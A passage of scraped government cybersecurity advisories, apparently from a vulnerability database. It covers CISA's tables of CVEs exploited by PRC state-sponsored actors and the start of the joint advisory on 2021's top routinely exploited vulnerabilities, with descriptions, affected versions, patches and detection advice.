Pulse\u201d Tool. \n \n_Vulnerable Technologies and Versions_\n\nPulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n \n_Table IV: GitLab CVE-2021-22205_\n\nGitLab CVE-2021-22205 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nAn issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution. \n \n_Recommended Mitigations_\n\n * Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.\n * Hotpatch is available via GitLab. \n \n_Detection Methods_\n\n * Investigate logfiles.\n * Check GitLab Workhorse. \n \n_Vulnerable Technologies and Versions_\n\nGitlab CE/EE. \n \n_Table V: Atlassian CVE-2022-26134_\n\nAtlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1. \n \n_Recommended Mitigations_\n\n * Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. \n * Ensure Internet-facing servers are up-to-date and have secure compliance practices. \n * Short term workaround is provided [here](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAll supported versions of Confluence Server and Data Center\n\nConfluence Server and Data Center versions after 1.3.0 \n \n_Table VI: Microsoft CVE-2021-26855_\n\nMicrosoft CVE-2021-26855 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity. \n \n_Recommended Mitigations_\n\n * Apply the appropriate Microsoft Security Update.\n * Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)\n * Restrict untrusted connections. \n \n_Detection Methods_\n\n * Analyze Exchange product logs for evidence of exploitation.\n * Scan for known webshells. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange 2013, 2016, and 2019. \n \n_Table VII: F5 CVE-2020-5902_\n\nF5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. \n \n_Recommended Mitigations_\n\n * Apply FY BIG-IP Update.\n * Restrict access to the configuration utility. \n \n_Detection Methods_\n\n * Use F5\u2019s [CVE-2020-5902 IoC Detection Tool](<https://github.com/f5devcentral/cve-2020-5902-ioc-bigip-checker/>).\n * Additional detection methods can be found at <https://support.f5.com/csp/article/K52145254>. \n \n_Vulnerable Technologies and Versions_\n\nF5 Big-IP Access Policy Manager\n\nF5 Big-IP Advanced Firewall Manager\n\nF5 Big-IP Advanced Web Application Firewall\n\nF5 Big-IP Analytics\n\nF5 Big-IP Application Acceleration Manager\n\nF5 Big-IP Application Security Manager\n\nF5 Big-IP Ddos Hybrid Defender\n\nF5 Big-IP Domain Name System (DNS)\n\nF5 Big-IP Fraud Protection Service (FPS)\n\nF5 Big-IP Global Traffic Manager (GTM)\n\nF5 Big-IP Link Controller\n\nF5 Networks Big-IP Local Traffic Manager (LTM)\n\nF5 Big-IP Policy Enforcement Manager (PEM)\n\nF5 SSL Orchestrator \n \n_References_\n\n<https://support.f5.com/csp/article/K00091341>\n\n<https://support.f5.com/csp/article/K07051153>\n\n<https://support.f5.com/csp/article/K20346072>\n\n<https://support.f5.com/csp/article/K31301245>\n\n<https://support.f5.com/csp/article/K33023560>\n\n<https://support.f5.com/csp/article/K43638305>\n\n<https://support.f5.com/csp/article/K52145254>\n\n<https://support.f5.com/csp/article/K82518062> \n \n_Table VIII: VMware CVE-2021-22005_\n\nVMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThe vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. \n \n_Recommended Mitigations_\n\n * Apply Vendor Updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVMware Cloud Foundation\n\nVMware VCenter Server \n \n_Table IX: Citrix CVE-2019-19781_\n\nCitrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n \n_Recommended Mitigations_\n\n * Apply vendor [mitigations](<https://support.citrix.com/article/CTX267679/mitigation-steps-for-cve201919781>).\n * Use the CTX269180 - [CVE-2019-19781 Verification Tool](<https://support.citrix.com/article/CTX269180/cve201919781-verification-tool>) provided by Citrix. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nCitrix ADC, Gateway, and SD-WAN WANOP \n \n_Table X: Cisco CVE-2021-1497_\n\nCisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMultiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory. \n \n_Recommended Mitigations_\n\n * Apply Cisco software updates. \n \n_Detection Methods_\n\n * Look at the Snort [Rules](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR#details>) provided by Cisco. \n \n_Vulnerable Technologies and Versions_\n\nCisco Hyperflex Hx Data Platform 4.0(2A) \n \n_Table XI: Buffalo CVE-2021-20090_\n\nBuffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication. \n \n_Recommended Mitigations_\n\n * Update firmware to latest available version. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nBuffalo Wsr-2533Dhpl2-Bk Firmware\n\nBuffalo Wsr-2533Dhp3-Bk Firmware \n \n_Table XII: Atlassian CVE-2021-26084_\n\nAtlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5. \n \n_Recommended Mitigations_\n\n * Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.\n * Avoid using end-of-life devices.\n * Use Intrusion Detection Systems (IDS). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAtlassian Confluence\n\nAtlassian Confluence Server\n\nAtlassian Data Center\n\nAtlassian Jira Data Center \n \n_Table XIII: Hikvision CVE-2021-36260_\n\nHikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands. \n \n_Recommended Mitigations_\n\n * Apply the latest firmware updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVarious Hikvision Firmware to include Ds, Ids, and Ptz \n \n_References_\n\n<https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260> \n \n_Table XIV: Sitecore CVE-2021-42237_\n\nSitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nSitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability. \n \n_Recommended Mitigations_\n\n * Update to latest version.\n * Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nSitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2\n\nSitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7\n\nSitecore Experience Platform 8.0 Service Pack 1\n\nSitecore Experience Platform 8.1, and Update 1-Update 3\n\nSitecore Experience Platform 8.2, and Update 1-Update 7 \n \n_Table XV: F5 CVE-2022-1388_\n\nF5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. \n \n_Recommended Mitigations_\n\n * Block iControl REST access through the self IP address.\n * Block iControl REST access through the management interface.\n * Modify the BIG-IP httpd configuration. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nBig IP versions:\n\n16.1.0-16.1.2\n\n15.1.0-15.1.5\n\n14.1.0-14.1.4\n\n13.1.0-13.1.4\n\n12.1.0-12.1.6\n\n11.6.1-11.6.5 \n \n_Table XVI: Apache CVE-2022-24112_\n\nApache CVE-2022-24112 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. \n \n_Recommended Mitigations_\n\n * In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.\n * Update to 2.10.4 or 2.12.1. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nApache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)\n\nLTS versions of Apache APISIX between 2.10.0 and 2.10.4 \n \n_Table XVII: ZOHO CVE-2021-40539_\n\nZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nZoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution. \n \n_Recommended Mitigations_\n\n * Upgrade to latest version. \n \n_Detection Methods_\n\n * Run ManageEngine\u2019s detection tool.\n * Check for specific files and [logs](<https://www.manageengine.com/products/self-service-password/advisory/CVE-2021-40539.html>). \n \n_Vulnerable Technologies and Versions_\n\nZoho Corp ManageEngine ADSelfService Plus \n \n_Table XVIII: Microsoft CVE-2021-26857_\n\nMicrosoft CVE-2021-26857 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security.\n * Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XIX: Microsoft CVE-2021-26858_\n\nMicrosoft CVE-2021-26858 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XX: Microsoft CVE-2021-27065_\n\nMicrosoft CVE-2021-27065 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_References_\n\n<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065> \n \n_Table XXI: Apache CVE-2021-41773_\n\nApache CVE-2021-41773 CVSS 3.0: 7.5 (High) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied,\" these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013). \n \n_Recommended Mitigations_\n\n * Apply update or patch. \n \n_Detection Methods_\n\n * Commercially available scanners can detect CVE. \n \n_Vulnerable Technologies and Versions_\n\nApache HTTP Server 2.4.49 and 2.4.50\n\nFedoraproject Fedora 34 and 35\n\nOracle Instantis Enterprise Track 17.1-17.3\n\nNetapp Cloud Backup \n \n### Revisions\n\nInitial Publication: October 6, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-06T12:00:00", "type": "ics", "title": "Top CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134", "CVE-2022-42475", "CVE-2022-47966"], "modified": "2022-10-06T12:00:00", "id": "AA22-279A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-279a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-23T06:47:11", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency ([CISA](<https://www.cisa.gov/>)), National Security Agency ([NSA](<https://www.nsa.gov/Cybersecurity/>)), Federal Bureau of Investigation ([FBI](<https://www.fbi.gov/investigate/cyber>)), Australian Cyber Security Centre ([ACSC](<https://www.cyber.gov.au/>)), Canadian Centre for Cyber Security ([CCCS](<https://www.cyber.gc.ca/en/>)), New Zealand National Cyber Security Centre ([NZ NCSC](<https://www.gcsb.govt.nz/>)), and United Kingdom\u2019s National Cyber Security Centre ([NCSC-UK](<https://www.ncsc.gov.uk/>)). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nU.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess, in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. \n\nThe cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors.\n\nDownload the Joint Cybersecurity Advisory: 2021 top Routinely Exploited Vulnerabilities (pdf, 777kb).\n\n### Technical Details\n\n#### **Key Findings**\n\nGlobally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability\u2019s disclosure, likely facilitating exploitation by a broader range of malicious actors.\n\nTo a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities\u2014some of which were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor.\n\n#### **Top 15 Routinely Exploited Vulnerabilities**\n\nTable 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include:\n\n * **CVE-2021-44228.** This vulnerability, known as Log4Shell, affects Apache\u2019s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity.[1] Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch.\n * **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065.** These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., \u201cvulnerability chaining\u201d) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.\n * **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207.** These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft\u2019s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. \n * **CVE-2021-26084.** This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.\n\nThree of the top 15 routinely exploited vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors.\n\n_Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVulnerability Name\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|---|--- \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nLog4Shell\n\n| \n\nApache Log4j\n\n| \n\nRemote code execution (RCE) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\n| \n\nZoho ManageEngine AD SelfService Plus\n\n| \n\nRCE \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nElevation of privilege \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nSecurity feature bypass \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\n| \n\nAtlassian Confluence Server and Data Center\n\n| \n\nArbitrary code execution \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\n| \n\nVMware vSphere Client\n\n| \n\nRCE \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nZeroLogon\n\n| \n\nMicrosoft Netlogon Remote Protocol (MS-NRPC)\n\n| \n\nElevation of privilege \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nArbitrary file reading \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\n| \n\nFortinet FortiOS and FortiProxy\n\n| \n\nPath traversal \n \n#### **Additional Routinely Exploited Vulnerabilities**\n\nIn addition to the 15 vulnerabilities listed in table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in table 2, that were also routinely exploited by malicious cyber actors in 2021. \n\nThese vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882.\n\n_Table 2: Additional Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore XP\n\n| \n\nRCE \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock OpenAM server\n\n| \n\nRCE \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nAccellion FTA\n\n| \n\nServer-side request forgery \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nAccellion FTA\n\n| \n\nSQL injection \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware vCenter Server\n\n| \n\nRCE \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall Secure Mobile Access (SMA)\n\n| \n\nRCE \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft MSHTML\n\n| \n\nRCE \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft Windows Print Spooler\n\n| \n\nRCE \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nPrivilege escalation \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall SSLVPN SMA100\n\n| \n\nImproper SQL command neutralization, allowing for credential access \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nWindows Print Spooler\n\n| \n\nRCE \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP QTS and QuTS hero\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix Application Delivery Controller (ADC) and Gateway\n\n| \n\nArbitrary code execution \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik UI for ASP.NET AJAX\n\n| \n\nCode execution \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco IOS Software and IOS XE Software\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n### Mitigations\n\n#### **Vulnerability and Configuration Management**\n\n * Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For 